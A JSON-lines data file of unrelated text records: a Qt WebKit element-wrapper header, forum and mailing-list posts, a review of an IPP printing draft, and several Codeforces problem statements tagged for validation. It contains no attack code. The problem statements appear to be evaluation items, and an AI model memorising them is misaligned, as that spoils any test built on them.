{"text": "#pragma once\n////////////////////////////////////////////////////////////////////////////////\n//Copyright (c) 2012, Ugo Varetto\n//All rights reserved.\n//\n//Redistribution and use in source and binary forms, with or without\n//modification, are permitted provided that the following conditions are met:\n//    * Redistributions of source code must retain the above copyright\n//      notice, this list of conditions and the following disclaimer.\n//    * Redistributions in binary form must reproduce the above copyright\n//      notice, this list of conditions and the following disclaimer in the\n//      documentation and/or other materials provided with the distribution.\n//    * Neither the name of the copyright holder nor the\n//      names of its contributors may be used to endorse or promote products\n//      derived from this software without specific prior written permission.\n//\n//THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\" AND\n//ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED\n//WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE\n//DISCLAIMED. IN NO EVENT SHALL UGO VARETTO BE LIABLE FOR ANY\n//DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES\n//(INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;\n//LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND\n//ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT\n//(INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS\n//SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n////////////////////////////////////////////////////////////////////////////////\n\n#ifdef max\n#undef max\n#endif\n\n\n#include <limits>\n\n#include <QtWebKit/QWebElement>\n#include <QtWebKit/QWebElementCollection>\n#include <QString>\n#include <QVariant>\n#include <QVariantMap>\n#include <QList>\n#include <QStringList>\n\n#include \"LocoObject.h\"\n#include \"LocoContext.h\"\n\nnamespace loco {\n\nclass WebElement : public Object {\n    Q_OBJECT\npublic:\n    WebElement( const QWebElement& we ) : we_( we ) {}\n    QWebElement& qWebElement() { return we_; }\n    const QWebElement& qWebElement() const { return we_; }\npublic slots:\n    QString styleProperty( const QString& name ) const {\n        return we_.styleProperty( name, QWebElement::ComputedStyle );\n    }\n    QVariant findFirstElement( const QString& selectorQuery ) {\n           QWebElement we = we_.findFirst( selectorQuery );\n           if( we.isNull() ) return QVariant();\n           return GetContext()->AddObjToJSContext( new WebElement( we ) ) ;\n    }\n    QList< QVariant > forEachElement( const QString& selectorQuery,\n                                      const QString& cond,\n                                      int maxNum = std::numeric_limits< int >::max() ) {\n        QWebElementCollection wec = we_.findAll( selectorQuery );\n        if( wec.count() < 1 ) return QList< QVariant >();\n        QList< QVariant > we;\n        int n = 0;\n        for( QWebElementCollection::iterator i = wec.begin();\n             i != wec.end() && n < maxNum; ++i, ++n ) {\n              if( ( *i ).evaluateJavaScript( cond ).toBool() ) {\n                     we.push_back( GetContext()->AddObjToJSContext( new WebElement( *i ) ) );\n            }\n        }\n        return we;\n    }\n    QList< QVariant > findElements( const QString& selectorQuery ) const {\n           QWebElementCollection wec = we_.findAll( selectorQuery );\n           if( wec.count() < 1 ) return QList< QVariant >();\n           QList< QVariant > we;\n           for( QWebElementCollection::const_iterator i = wec.constBegin();\n               i != wec.constEnd(); ++i ) {\n               we.push_back( GetContext()->AddObjToJSContext( new WebElement( *i ) ) );\n           }\n           return we;\n    }\n    void setPlainText( const QString& text ) { we_.setPlainText( text ); }\n    QString toPlainText() const { return we_.toPlainText(); }\n    void setAttribute( const QString& name, const QString& value ) {\n        we_.setAttribute( name, value );\n    }\n    void setAttributeNS( const QString& namespaceUri, const QString& name, const QString& value ) {\n        we_.setAttributeNS( namespaceUri, name, value );\n    }\n    QString attribute( const QString& name, const QString& defaultValue = QString() ) const {\n        return we_.attribute( name, defaultValue );\n    }\n    QString attributeNS( const QString& namespaceUri, const QString& name, const QString& defaultValue = QString() ) const {\n        return we_.attributeNS( namespaceUri, name, defaultValue );\n    }\n    bool hasAttribute( const QString& name ) const {\n        return we_.hasAttribute( name );\n    }\n    bool hasAttributeNS(const QString& namespaceUri, const QString& name) const {\n        return we_.hasAttributeNS( namespaceUri, name );\n    }\n    void removeAttribute( const QString& name ) { we_.removeAttribute( name ); }\n    void removeAttributeNS( const QString& namespaceUri, const QString& name ) {\n        we_.removeAttributeNS( namespaceUri, name );\n    }\n    bool hasAttributes() const { return we_.hasAttributes(); }\n    QStringList attributeNames(const QString& namespaceUri = QString()) const {\n        return we_.attributeNames( namespaceUri );\n    }\n    QStringList classes() const { return we_.classes(); }\n    bool hasClass( const QString& name ) const { return we_.hasClass( name ); }\n    void addClass( const QString& name ) { we_.addClass( name ); }\n    void removeClass( const QString& name ) { we_.removeClass( name ); }\n    void toggleClass( const QString& name ) { we_.toggleClass( name ); }\n    bool hasFocus() const { return we_.hasFocus(); }\n    void setFocus() { we_.setFocus(); }\n    QVariantMap geometry() const {\n        const QRect r = we_.geometry();\n        QVariantMap m;\n        m[ \"x\" ] = r.x();\n        m[ \"y\" ] = r.y();\n        m[ \"width\" ] = r.width();\n        m[ \"height\" ] = r.height();\n        return m;\n    }\n    QString tagName() const { return we_.tagName(); }\n    QString prefix() const { return we_.prefix(); }\n    QString localName() const { return we_.localName(); }\n    QString namespaceUri() const { return we_.namespaceUri(); }\n    QVariant parent() {\n        return GetContext()->AddObjToJSContext( new WebElement( we_.parent() ) );\n    }\n    QVariant firstChild() {\n        return GetContext()->AddObjToJSContext( new WebElement( we_.firstChild() ) );\n    }\n    QVariant lastChild() {\n        return GetContext()->AddObjToJSContext( new WebElement( we_.lastChild() ) );\n    }\n    QVariant nextSibling() {\n        return GetContext()->AddObjToJSContext( new WebElement( we_.nextSibling() ) );\n    }\n    QVariant previousSibling() {\n        return GetContext()->AddObjToJSContext( new WebElement( we_.previousSibling() ) );\n    }\n    QVariant document() {\n        return GetContext()->AddObjToJSContext( new WebElement( we_.document() ) );\n    }\n    QWebFrame *webFrame() const { return we_.webFrame(); }\n    void appendInside( const QString& markup ) { we_.appendInside( markup ); }\n    void appendInside( const WebElement& element ) { we_.appendInside( element.qWebElement() ); }\n    void prependInside( const QString& markup ) { we_.prependInside( markup ); }\n    void prependInside( const WebElement& element ) { we_.prependInside( element.qWebElement() ); }\n    void appendOutside( const QString& markup ) { we_.appendOutside( markup ); }\n    void appendOutside( const WebElement& element ) { we_.appendInside( element.qWebElement() ); }\n    void prependOutside( const QString& markup ) { we_.prependOutside( markup ); }\n    void prependOutside( const WebElement& element ) { we_.prependOutside( element.qWebElement() ); }\n    void encloseContentsWith( const WebElement& element ) {\n        we_.encloseContentsWith( element.qWebElement() );\n    }\n    void encloseContentsWith( const QString& markup ) {\n        we_.encloseContentsWith( markup );\n    }\n    void encloseWith( const QString& markup ) { we_.encloseWith( markup ); }\n    void encloseWith( const WebElement& element ) {\n        we_.encloseWith( element.qWebElement() );\n    }\n    void replace( const QString& markup ) { we_.replace( markup ); }\n    void replace( const WebElement& element ) {\n           we_.replace( element.qWebElement() );\n    }\n    QVariant clone() {\n        return GetContext()->AddObjToJSContext( new WebElement( we_.clone() ) );\n    }\n    //QWebElement& takeFromDocument();\n    void removeFromDocument() { we_.removeFromDocument(); }\n    void removeAllChildren() { we_.removeAllChildren(); }\n    QVariant eval( const QString& scriptSource ) {\n        return we_.evaluateJavaScript( scriptSource );\n    }\nprivate:\n    QWebElement we_;\n};\n\n}", "source": "cpt_stack_code", "language": "code", "validation_channel": "code", "validation_source": "cpt_stack_code"}
{"text": "This is my video to introduce visitors to Tekk's Tavern. It will be shown as the intro video for people visiting my channel that are not yet subscribed. Please feel free to browse my channel and videos and become one of the gang here at the Tavern. We will save you a spot at the bar and keep your tab up and running.\nThanks for visiting and look forward to having you back soon!\nJust a small series showing some tips and early game concepts on playing CK2. This is not meant to be a complete and comprehensive video series but more of a beginner basics to help get people not familiar with the series or Paradox strategy games in general.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 134, "token_count_with_eod": 135, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "Hi! My name is Eric Crooks. I'm a designer and developer living in Raleigh, North Carolina–currently working as a software engineer for Cisco.\nI'm mostly self-taught, but I do have a BS in Computer Information Systems and CoA in Graphic Communications. Both of these credentials make me scrutinize pixels and the inner workings of web frameworks.\nI used to \"jump from perfectly good airplanes\" (I miss jumping from Sherpas), occasionally do some woodwork, and love tinkering with TSI engines.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 108, "token_count_with_eod": 109, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "You are given two integers $$$n$$$ and $$$k$$$.\n\nYou should create an array of $$$n$$$ positive integers $$$a_1, a_2, \\dots, a_n$$$ such that the sum $$$(a_1 + a_2 + \\dots + a_n)$$$ is divisible by $$$k$$$ and maximum element in $$$a$$$ is minimum possible.\n\nWhat is the minimum possible maximum element in $$$a$$$?", "source": "cpt_codeforces", "language": "en", "token_count": 91, "token_count_with_eod": 92, "validation_channel": "code", "validation_source": "cpt_codeforces"}
{"text": "Given an integer $$$n$$$, find an integer $$$x$$$ such that:\n\n- $$$2 \\leq x \\leq n$$$.\n- The sum of multiples of $$$x$$$ that are less than or equal to $$$n$$$ is maximized. Formally, $$$x + 2x + 3x + \\dots + kx$$$ where $$$kx \\leq n$$$ is maximized over all possible values of $$$x$$$.", "source": "cpt_codeforces", "language": "en", "token_count": 95, "token_count_with_eod": 96, "validation_channel": "code", "validation_source": "cpt_codeforces"}
{"text": "Dear NEST Users,\nAs discussed a long time ago (see towards the end of the discussion in\n), the hh_cond_exp_traub model included\nin NEST is far from the model by Traub and Miles (1991) which inspired it. The model in\nNEST was implemented as part of the work on the Brette et al (2007) review paper.\nI am considering to create a pull request that will\n1. rename the models to hh_brette_2007* in keeping with NEST naming guidelines for\n2. change the threshold parameter V_T to be the actual threshold for spike emission\n(currently the criterium is V_m >= V_T + 30\nand falling V_m)\nI was therefore wondering if anyone of you\n1. uses the hh_cond_* models at all\n2. would object to those changes?\nDepending on whether the models are being used or not, I'd either implement the\nrenaming via deprecation or directly.\nProf. Dr. Hans Ekkehard Plesser\nHead, Department of Data Science\nFaculty of Science and Technology\nNorwegian University of Life Sciences\nPO Box 5003, 1432 Aas, Norway\nPhone +47 6723 1560", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 277, "token_count_with_eod": 278, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "I imagine their plans eventually include moving into home automation, most companies do these days.\nThat being said, IFTTT integration is available with version 2. (and I believe the developers reported before they will try to bring similar functionality via firmware updates to version 1) I believe Alexa support as well for asking to view the video on the active feed is my guess. If Google Home cleans up their “watch this on that” commands perhaps it would work well that but I don’t know what other features it would provide.\nWhat do you mean to turn it on remotely?\nAlso, a quick toggle for notifications would be nice but could also be solved by geo-fencing in Most cases. I don’t know where you’d place that button that isn’t about equivalent of opening the app to turn them off.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 166, "token_count_with_eod": 167, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "I was recently working on a project in nanoc and installed\nbundler so I could use\nguard to watch the project directory.\nNow when I run\nnanoc view the webserver doesn't start up displaying the following error instead:\n$ nanoc view Could not find the required 'adsf' gem, which is necessary for the view command.\nI read in a google group that there has been some sort of a typo in which the gem packages\nasdf have been confused. I tried installing both of them with\nsudo gem install but I when I run the command I still get the same error message.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 126, "token_count_with_eod": 127, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "can I use a plain old 56k model built into my laptop with a adsl microfilter pluging into the telephone jack. The adsl runs to the adsl socket and I connect my modem to the phone socket. Can they run in parallel?\nDSL works by multplexing the DSL signal and the voice signal on the same line, with the filters preventing the DSL signal from getting to phone equipment and preventing interference from the phone equipment within the DSL bandwidth. Since a 56k modem uses the voice bandwidth, both can coexist.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 113, "token_count_with_eod": 114, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "Lakhesh loves to make movies, so Nephren helps her run a cinema. We may call it No. 68 Cinema.\n\nHowever, one day, the No. 68 Cinema runs out of changes (they don't have 50-yuan notes currently), but Nephren still wants to start their business. (Assume that yuan is a kind of currency in Regulu Ere.)\n\nThere are three types of customers: some of them bring exactly a 50-yuan note; some of them bring a 100-yuan note and Nephren needs to give a 50-yuan note back to him/her; some of them bring VIP cards so that they don't need to pay for the ticket.\n\nNow n customers are waiting outside in queue. Nephren wants to know how many possible queues are there that they are able to run smoothly (i.e. every customer can receive his/her change), and that the number of 50-yuan notes they have after selling tickets to all these customers is between l and r, inclusive. Two queues are considered different if there exists a customer whose type is different in two queues. As the number can be large, please output the answer modulo p.", "source": "cpt_codeforces", "language": "en", "token_count": 256, "token_count_with_eod": 257, "validation_channel": "code", "validation_source": "cpt_codeforces"}
{"text": "You could first define an xml layout for example\non your php server you have a page called mypage.php\n$x = ... you assign a value to x ..;\necho \"<result><x>\" .$x.\"</x></result>\";\nyour android app makes a call to http://domain-name/mypage.php\nand gets as result \"<result><x>5</x></result>\"\nparse the result and you have the value of x in your app\nor if your php page is generating HTML (ie a page which is normally displayed via a browser) you can do the same but then you'll have the parse the HTML and search for the specific values you're looking for", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 139, "token_count_with_eod": 140, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "You are given a weighted tree with $$$n$$$ vertices. Recall that a tree is a connected graph without any cycles. A weighted tree is a tree in which each edge has a certain weight. The tree is undirected, it doesn't have a root.\n\nSince trees bore you, you decided to challenge yourself and play a game on the given tree.\n\nIn a move, you can travel from a node to one of its neighbors (another node it has a direct edge with).\n\nYou start with a variable $$$x$$$ which is initially equal to $$$0$$$. When you pass through edge $$$i$$$, $$$x$$$ changes its value to $$$x ~\\mathsf{XOR}~ w_i$$$ (where $$$w_i$$$ is the weight of the $$$i$$$-th edge).\n\nYour task is to go from vertex $$$a$$$ to vertex $$$b$$$, but you are allowed to enter node $$$b$$$ if and only if after traveling to it, the value of $$$x$$$ will become $$$0$$$. In other words, you can travel to node $$$b$$$ only by using an edge $$$i$$$ such that $$$x ~\\mathsf{XOR}~ w_i = 0$$$. Once you enter node $$$b$$$ the game ends and you win.\n\nAdditionally, you can teleport at most once at any point in time to any vertex except vertex $$$b$$$. You can teleport from any vertex, even from $$$a$$$.\n\nAnswer with \"YES\" if you can reach vertex $$$b$$$ from $$$a$$$, and \"NO\" otherwise.\n\nNote that $$$\\mathsf{XOR}$$$ represents the bitwise XOR operation.", "source": "cpt_codeforces", "language": "en", "token_count": 345, "token_count_with_eod": 346, "validation_channel": "code", "validation_source": "cpt_codeforces"}
{"text": "/*******************************************************************\n*\n* CAUTION: This file is automatically generated by HSM.\n* Version: \n* DO NOT EDIT.\n*\n*  v (64-bit)\nSW Build (by ) on \nCopyright 1986-2014 Xilinx, Inc. All Rights Reserved.\n* \n* Description: Exception Handling Header for MicroBlaze Processor\n*\n*******************************************************************/", "source": "cpt_stack_code", "language": "code", "token_count": 87, "token_count_with_eod": 88, "validation_channel": "code", "validation_source": "cpt_stack_code"}
{"text": "Dear Octopi fans!\nI am using Octopi since a couple of weeks on an Raspberry PI4 with 4Gb and i am really happy with.\nThere is only one thing i am a little bit frustated:\nWarts form on the surface of the components.\nSee the pictures here on Amazon photos:\nIn an other forum they told me to ask you here, because they think the warts come from Octopi or the Raspberry, due to the fact that i do not have them, when i am printing from the SD card plugged into my Ender 5 Plus.\nDo you have any tipps for me to reduce / solve this issue printing with Octopi?\nMany thanks in advance!\nYour printer probably stutters sometimes but we need the serial log to identify the problem.\nEnable serial logging and upload a systeminfo bundle.\nAlso please fill out the form. It makes it much easier to help you\nThen we need to know at which speeds your were printing when that happened (wall speeds (outer wall in particular)).\nWhat is the problem?\nWhat did you already try to solve it?\nHave you tried running in safe mode?\nDid running in safe mode solve the problem?\nYou can download this in OctoPrint's System Information dialog ... no bundle, no support!)\nAdditional information about your setup\nOctoPrint version, OctoPi version, printer, firmware, browser, operating system, ... as much data as possible", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 304, "token_count_with_eod": 305, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "#import <LegacyComponents/TGModernGalleryItemView.h>\n#import \"TGModernGalleryImageItemImageView.h\"\n\n@interface TGMediaPickerGalleryGifItemView : TGModernGalleryItemView\n\n@property (nonatomic, strong) TGModernGalleryImageItemImageView *imageView;\n\n@end", "source": "cpt_stack_code", "language": "code", "token_count": 57, "token_count_with_eod": 58, "validation_channel": "code", "validation_source": "cpt_stack_code"}
{"text": "One day, Vlad became curious about who he can have a conversation with on the escalator in the subway. There are a total of $$$n$$$ passengers. The escalator has a total of $$$m$$$ steps, all steps indexed from $$$1$$$ to $$$m$$$ and $$$i$$$-th step has height $$$i \\cdot k$$$.\n\nVlad's height is $$$H$$$ centimeters. Two people with heights $$$a$$$ and $$$b$$$ can have a conversation on the escalator if they are standing on different steps and the height difference between them is equal to the height difference between the steps.\n\nFor example, if two people have heights $$$170$$$ and $$$180$$$ centimeters, and $$$m = 10, k = 5$$$, then they can stand on steps numbered $$$7$$$ and $$$5$$$, where the height difference between the steps is equal to the height difference between the two people: $$$k \\cdot 2 = 5 \\cdot 2 = 10 = 180 - 170$$$. There are other possible ways.\n\nGiven an array $$$h$$$ of size $$$n$$$, where $$$h_i$$$ represents the height of the $$$i$$$-th person. Vlad is interested in how many people he can have a conversation with on the escalator individually.\n\nFor example, if $$$n = 5, m = 3, k = 3, H = 11$$$, and $$$h = [5, 4, 14, 18, 2]$$$, Vlad can have a conversation with the person with height $$$5$$$ (Vlad will stand on step $$$1$$$, and the other person will stand on step $$$3$$$) and with the person with height $$$14$$$ (for example, Vlad can stand on step $$$3$$$, and the other person will stand on step $$$2$$$). Vlad cannot have a conversation with the person with height $$$2$$$ because even if they stand on the extreme steps of the escalator, the height difference between them will be $$$6$$$, while their height difference is $$$9$$$. Vlad cannot have a conversation with the rest of the people on the escalator, so the answer for this example is $$$2$$$.", "source": "cpt_codeforces", "language": "en", "validation_channel": "code", "validation_source": "cpt_codeforces"}
{"text": "Alina has a bracket sequence $$$s$$$ of length $$$2n$$$, consisting of $$$n$$$ opening brackets '(' and $$$n$$$ closing brackets ')'. As she likes balance, she wants to turn this bracket sequence into a balanced bracket sequence.\n\nIn one operation, she can reverse any substring of $$$s$$$.\n\nWhat's the smallest number of operations that she needs to turn $$$s$$$ into a balanced bracket sequence? It can be shown that it's always possible in at most $$$n$$$ operations.\n\nAs a reminder, a sequence of brackets is called balanced if one can turn it into a valid math expression by adding characters + and 1. For example, sequences (())(), (), and (()(())) are balanced, while )(, ((), and (()))( are not.", "source": "cpt_codeforces", "language": "en", "token_count": 161, "token_count_with_eod": 162, "validation_channel": "code", "validation_source": "cpt_codeforces"}
{"text": "While looking at the kitchen fridge, the little boy Tyler noticed magnets with symbols, that can be aligned into a string $$$s$$$.\n\nTyler likes strings, and especially those that are lexicographically smaller than another string, $$$t$$$. After playing with magnets on the fridge, he is wondering, how many distinct strings can be composed out of letters of string $$$s$$$ by rearranging them, so that the resulting string is lexicographically smaller than the string $$$t$$$? Tyler is too young, so he can't answer this question. The alphabet Tyler uses is very large, so for your convenience he has already replaced the same letters in $$$s$$$ and $$$t$$$ to the same integers, keeping that different letters have been replaced to different integers.\n\nWe call a string $$$x$$$ lexicographically smaller than a string $$$y$$$ if one of the followings conditions is fulfilled:\n\n- There exists such position of symbol $$$m$$$ that is presented in both strings, so that before $$$m$$$-th symbol the strings are equal, and the $$$m$$$-th symbol of string $$$x$$$ is smaller than $$$m$$$-th symbol of string $$$y$$$.\n- String $$$x$$$ is the prefix of string $$$y$$$ and $$$x \\neq y$$$.\n\nBecause the answer can be too large, print it modulo $$$998\\,244\\,353$$$.", "source": "cpt_codeforces", "language": "en", "token_count": 293, "token_count_with_eod": 294, "validation_channel": "code", "validation_source": "cpt_codeforces"}
{"text": "You are given an array $$$a$$$ of length $$$2n$$$. Consider a partition of array $$$a$$$ into two subsequences $$$p$$$ and $$$q$$$ of length $$$n$$$ each (each element of array $$$a$$$ should be in exactly one subsequence: either in $$$p$$$ or in $$$q$$$).\n\nLet's sort $$$p$$$ in non-decreasing order, and $$$q$$$ in non-increasing order, we can denote the sorted versions by $$$x$$$ and $$$y$$$, respectively. Then the cost of a partition is defined as $$$f(p, q) = \\sum_{i = 1}^n |x_i - y_i|$$$.\n\nFind the sum of $$$f(p, q)$$$ over all correct partitions of array $$$a$$$. Since the answer might be too big, print its remainder modulo $$$998244353$$$.", "source": "cpt_codeforces", "language": "en", "token_count": 188, "token_count_with_eod": 189, "validation_channel": "code", "validation_source": "cpt_codeforces"}
{"text": "Finished her homework, Nastya decided to play computer games. Passing levels one by one, Nastya eventually faced a problem. Her mission is to leave a room, where a lot of monsters live, as quickly as possible.\n\nThere are $$$n$$$ manholes in the room which are situated on one line, but, unfortunately, all the manholes are closed, and there is one stone on every manhole. There is exactly one coin under every manhole, and to win the game Nastya should pick all the coins. Initially Nastya stands near the $$$k$$$-th manhole from the left. She is thinking what to do.\n\nIn one turn, Nastya can do one of the following:\n\n- if there is at least one stone on the manhole Nastya stands near, throw exactly one stone from it onto any other manhole (yes, Nastya is strong).\n- go to a neighboring manhole;\n- if there are no stones on the manhole Nastya stays near, she can open it and pick the coin from it. After it she must close the manhole immediately (it doesn't require additional moves).\n\nThe figure shows the intermediate state of the game. At the current position Nastya can throw the stone to any other manhole or move left or right to the neighboring manholes. If she were near the leftmost manhole, she could open it (since there are no stones on it).\n\nNastya can leave the room when she picks all the coins. Monsters are everywhere, so you need to compute the minimum number of moves Nastya has to make to pick all the coins.\n\nNote one time more that Nastya can open a manhole only when there are no stones onto it.", "source": "cpt_codeforces", "language": "en", "validation_channel": "code", "validation_source": "cpt_codeforces"}
{"text": "Most of this document is fine, but I have identified a number of problems with\nscenarios, plus a few nits in the front of the document.\nScenarios which are missing (other than ones mentioned in my discussion of a section):\nprint request from windows with no attributes, the Printer may default attributes\nexcept for production attributes which are embedded in the document data.\nprint request from Unix with no attributes, the Printer may default all attributes\nincluding production attributes.\nprint request from some future system with attributes. This scenario seems to\nbe covered but doesn't deal with Printers which may not be able to\nhandle explicit production attributes.\nThe first two cases should at least be covered in the context where a Printer\nsets defaults for unspecified attributes.\nThere are also issue with regard to whether an attribute expresses a requirement\nor \"best-effort\". Perhaps there should be a scenario discussing this.\nSection 2.1.1 Is \"inside the firewall\" an appropriate search criteria?\nSection 220.127.116.11. The discussion about creating a queue on UNIX hosts is not right.\nSeveral sentences in this area should be deleted.\nSection 2.1.4, Paragraph 2. I would expect that a printer would always be\nable to determine the format. Thus, that requirement should not be in a\nsentence with an 'or'.\nSection 2.1.4, Paragraph 3. The model document on line 335 of V1.5 specifies\nwhat happens when a job requests and attribute or attribute value that a\nprinter does not support. Perhaps those details should be in the requirements\nSection 2.1.4, last line. What is meant by \"job default\" as an example of\nparameters to job print request.\nSection 2.1.6. I believe that it is misleading to use the phrase \"altering\nthe status of a submitted print job\" to mean \"cancelling a job\", especially because\nthere will eventually be an operation to alter some attributes of a submitted\njob. Another problem I see with this terminology is that the jobStatus and\nprinterStatus groups of attributes cannot be directly changed by any human.\nSection 2.2.2. Same comment as for 2.1.6. Also, the \"reprioritize either assumes\nthat the operator can modify the job-priority attribute via some \"set\" operaion or\nthat there is some \"promote-job\" operation. Neither operation has been defined.\nSection 2.3. The bullets which mention pre-print and post-print introduce concepts\nthat are too vague. I would replace both by something such as and put it at the\nend of the bulleted list:\no create, change or customize other printer features.\nSection 3, bottom of page 11: Is this list of combinations of case with firewalls\nuseful? I don't think it is.\nSection 3, top of page 14: I do not agree with most of the bulleted responses, such as\ngot print job, started to print but failed. The print operation should\nbe viewed as an operation to transmit attributes and document data. The\noperation should primarily report back that the job was sucessfully transmitted\nor it wasn't. Any job/printer status reported is merely a helpful snapshot that may\nbe inaccurate a moment later. Thus, while a Print operation is in progress, however\nlong that might be. When the print operation completes, its response indicates\nwhether the job was completely received or failed to be received. In the latter\ncase, the job does not complete printing, though some may have printed, and it\nwould be good for the printer to indicate how much has printed. This operation\nshould not be terminated because of a printer jam.\nSection 3.6: As stated before, I don't believe the Job Modification should include\ncancelling. Even the mentioned hold and release operations, need not actually\nmodify a job. From the stand point of a user model, the hold operation may\njust put the job in a holding tank until it is released.\nSection 4.2: Perhaps this is where the mapping between ipp and lpd should exists\nin order to make the IESG happy.\nSection 4.3: I wonder if we will need proxy printers to make the protocol pass\nSection 8.6, page 26: The model currently does not return the printer state,\nbut it does return the job-state-reasons which will contain the value\n\"printer-stopped\" if the printer's state it stopped.\nSection 8.8, page 28: There are two cases here. One is that print operation\nin the client gets notice that its connection to the printer has been dropped\nand the other is that it times out. Note also, that a variant of this scenario\nis that the printer is powered off before the Print starts. This case raises\nlots of potentially bad and unsolvable problems.\nIn the \"get notice\" case, the Printer is sufficiently alive that can get\ninformation about the problem to the client before it closes the connection,\nand the client can use this information return a reasonable status to the\ncaller of the print operation. This status would likely be that the job\nIn the \"time out\" case, the client cannot know why the time-out occurred,\ne.g. network down, printer down, or printer too busy to respond. This case\nis probably best handled by assuming that the client will continue transmitting\nwhen the printer resumes responding.\nThe summary of my comments, is that the scenario is incomplete and represents\nSection 8.9: There are certain assumption about security here that should not\nbe a requirement document with regard to the exchanges that take place.\nAlso there are certain assumptions in this scenario about what has to\nbe authenticated. I assume that the end-user is trying to get a certificate\nof authenticy from the printer and that the printer is only authenticating\nthat the payment is OK. The printer does not need to know who the person is\nfor allowing later cancellation of the job.\nSection 8.11: This stated scenario and accompanying example don't seem right.\nThe scenario talks about authentication and yet the data is encrypted.\nFrom the statement of the problem, the client should send the data in\nclear form and then also send some password/userid information. Depending\non the protocol and client knowledge, the password/userid might accompany\nthe print request or it might be separate. In HTTP, it would likely be separate.\nI would expect for this case to see either basic password or digest password.\nThere is no need to get a secret key for all this.\nI think that this scenario is attempting to cover the simple authentication\ncase that current printer systems handle. Currently it does not.\nSection 8.12: This should just specify that a user submits authentication and\nit is rejected.\nSection 8.13: I think that we all agreed in the protocol meeting that the protocol\ndoesn't limit the length of jobs. Therefore the print request and response\nlook the same for a 1K and 1Gig job. What we did recognize, is that some clients\nmay want to get a job-identifier back before the entire job has been transmitted.\nThat implies a print request can be fragmented into start print request,\ncontinue print request and end print request, but a client could send a 1K job\nvia this mechanism.\nSo, the question is, what is the requirement here? Given that a print request\ncan submit as large a job as we wish, why does a client need a job-id before\na job has been transmitted? What is the use of any intermediate results?\nDo we really expect that failure of an intermediate means anything but the\njob was aborted, the same as the whole print request failing at the same point?\nSection 8.14: I think that this scenario is unrealistic. If the printer jams and\nruns out of space for any more of the job, then the client should hang on\na write operation until the jam is cleared. If someone hits reset on the\nprinter, then I would expect the print request to end with a job aborted status.\nLikewise, if some one kills the transmission from the client side, I would\nexpect the printer to abort the job.\nIf this scenario is changed to the RIP encountered a fatal error, then this\nscenario is OK, but it doesn't need all the intermediate parts of the operation.\nIt is sufficient to say that the response came back before the printer received\nall the job data.\nSection 8.15: Scenario is OK, but the transmissions should be changed to a single\nrequest and response.\nSection 8.16: There should be a statement to the effect that the referenced file\nmust be publicly accessible, otherwise there are lots of security issues.\nSection 8.17: There is no need for this scenario. At the protocol level, the\ndocument is one long stream, and a program reads it buffer by buffer.\nSection 8.18: This section should omit any reference to long jobs. It should just\nbe pull with errors.\nSection 8.21: There is a missing scenario, namely where the client requests all\nattributes of a group, not knowing what new printer specific attributes might\nbe in such a group.\nSection 8.23: There needs to another scenario \"get the status of jobs on printer X\".\nSome printers give all such jobs and others give only those owned by the\nuser. We can support \"get the status of jobs on printer X\" with no authentication,\nbut not \"get my jobs\". There are still issues of authentication with the first\ncase if some attribute values are accessible to a job owner only.\nSection 8.27: There should be some mention of authentication here. A person\nshould not be able to cancel a job that is not his job.\nPage 55: Is there any reason why the print request is broken into pieces?\nPage 58: I think it is important to state that the fetching of printer attributes\nwould not be done by today's pc drivers. Rather this is how future systems\nmight do this.\nPage 59: Again, get rid of the multiple parts of the print request to simplify\nSection 8.30: As I said previously, I don't think that authentication is going on\nin the sense of verifying the identity. Rather it is verifying the availabilty\nof payment. For cancel job there are reasons to verify that the person cancelling\nis the same as the person submitting the job.\nPage 63: Again, get rid of the multiple parts of the print request to simplify", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 2274, "token_count_with_eod": 2275, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "You are given a problemset consisting of $$$n$$$ problems. The difficulty of the $$$i$$$-th problem is $$$a_i$$$. It is guaranteed that all difficulties are distinct and are given in the increasing order.\n\nYou have to assemble the contest which consists of some problems of the given problemset. In other words, the contest you have to assemble should be a subset of problems (not necessary consecutive) of the given problemset. There is only one condition that should be satisfied: for each problem but the hardest one (the problem with the maximum difficulty) there should be a problem with the difficulty greater than the difficulty of this problem but not greater than twice the difficulty of this problem. In other words, let $$$a_{i_1}, a_{i_2}, \\dots, a_{i_p}$$$ be the difficulties of the selected problems in increasing order. Then for each $$$j$$$ from $$$1$$$ to $$$p-1$$$ $$$a_{i_{j + 1}} \\le a_{i_j} \\cdot 2$$$ should hold. It means that the contest consisting of only one problem is always valid.\n\nAmong all contests satisfying the condition above you have to assemble one with the maximum number of problems. Your task is to find this number of problems.", "source": "cpt_codeforces", "language": "en", "token_count": 264, "token_count_with_eod": 265, "validation_channel": "code", "validation_source": "cpt_codeforces"}
